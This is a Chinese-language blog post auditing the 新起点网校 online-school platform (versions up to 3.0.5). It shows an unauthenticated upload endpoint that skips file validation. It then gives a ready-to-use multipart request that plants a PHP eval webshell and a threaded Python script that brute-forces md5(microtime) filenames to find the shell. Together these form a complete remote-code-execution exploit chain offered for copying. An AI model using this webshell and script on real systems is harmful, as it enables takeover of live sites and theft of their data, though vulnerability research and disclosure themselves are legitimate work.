环境部署

  • 宝塔一键部署
  • 新起点网校3.0.5以下版本

image-20250104194900006

image-20250104200107097

审计分析

全局搜索upload关键字,最终在api模块的uploader控制器的uploadfile方法里发现端倪

image-20250104192623300

定义了上传成功的路径 /upload/file/+文件名,以及一些错误处理,未见明显的过滤逻辑,跟进move()方法看看:

image-20250104193547134

检查了文件是否为空,以及捕获了一些错误,使用check()方法验证上传,于是再跟进看看check()方法的过滤逻辑:

image-20250104193522996

可以看到,这里move()方法里的check()文件合法性校验方法压根就没有传入参数,而且check()方法默认也是参数为空,但是后面的几个文件合法性校验逻辑需要$rule传入参数才能进行校验逻辑,所以这里的文件合法性校验默认情况下是没有启用的,上传文件不用经过安全性检查,于是导致了rce

触发漏洞

访问路径:/api/uploader/uploadFile

image-20250104200210495

本地构造一个上传表单,复制过去用就行

1
2
3
4
5
6
7
8
------WebKitFormBoundaryYTOz7B0FGBwA9G4m
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream

<?php
@eval($_POST['cmd']);
?>
------WebKitFormBoundaryYTOz7B0FGBwA9G4m--

POST发包

image-20250104200907594

响应如下:

image-20250104200925005

没有文件路径怎么办呢?

审计文件路径命名逻辑

我们再回到代码中去,审计文件路径生成逻辑,文件根路径我们前面已经提到了,就是/upload/file/,但是我们不知道后面部分的路径

image-20250104201116646

跟进buildSaveName()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
protected function buildSaveName($savename)
{
// 自动生成文件名
if (true === $savename) {
if ($this->rule instanceof \Closure) {
$savename = call_user_func_array($this->rule, [$this]);
} else {
switch ($this->rule) {
case 'date':
$savename = date('Ymd') . DS . md5(microtime(true));
break;
default:
if (in_array($this->rule, hash_algos())) {
$hash = $this->hash($this->rule);
$savename = substr($hash, 0, 2) . DS . substr($hash, 2);
} elseif (is_callable($this->rule)) {
$savename = call_user_func($this->rule);
} else {
$savename = date('Ymd') . DS . md5(microtime(true));
}
}
}
} elseif ('' === $savename || false === $savename) {
$savename = $this->getInfo('name');
}

if (!strpos($savename, '.')) {
$savename .= '.' . pathinfo($this->getInfo('name'), PATHINFO_EXTENSION);
}

return $savename;
}

解释一下逻辑:

$savename为true时按照以下规则生成文件路径:

  • 通过 date 和时间戳哈希生成(格式:Ymd/哈希值)。
  • 使用哈希算法生成文件名(格式:前两位哈希值/剩余哈希值)。
  • 使用可调用函数生成文件名。
  • 默认使用 Ymd/哈希值 格式生成。

$savename为空字符串或 false:使用原始文件名。

显然这里是采用第一种规则生成文件名,因为$savename为true

image-20250104202408269

脚本编写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/python3.6
# -*- coding: utf-8 -*-
import requests
import time
import hashlib
import threading
import queue
q=queue.Queue()
def md5(s):
return hashlib.md5(s.encode()).hexdigest()
url = "http://xxxx/api/uploader/uploadfile"
files={'file':('1.php',open('shell.txt','rb'))}
timer1=int(time.time())
res = requests.post(url=url, files=files, allow_redirects=False)
def attack1():
while not q.empty():
i = q.get()
for tt in range(0,4):
timenow=str(timer1-2+tt)+f'.{i}'
urll=f"http://xxxx/upload/file/20250104/{md5(timenow)}.php"
r = requests.get(urll)
if r.status_code == 200:
print(urll)
with open("test.txt", "w") as f:
f.write(urll)
else:
print(timenow)
for i in range(9999):
q.put(i)
for i in range(20):
t1 = threading.Thread(target=attack1)
t1.start()

image-20250104231240492

验证

验证成功

image-20250104231036329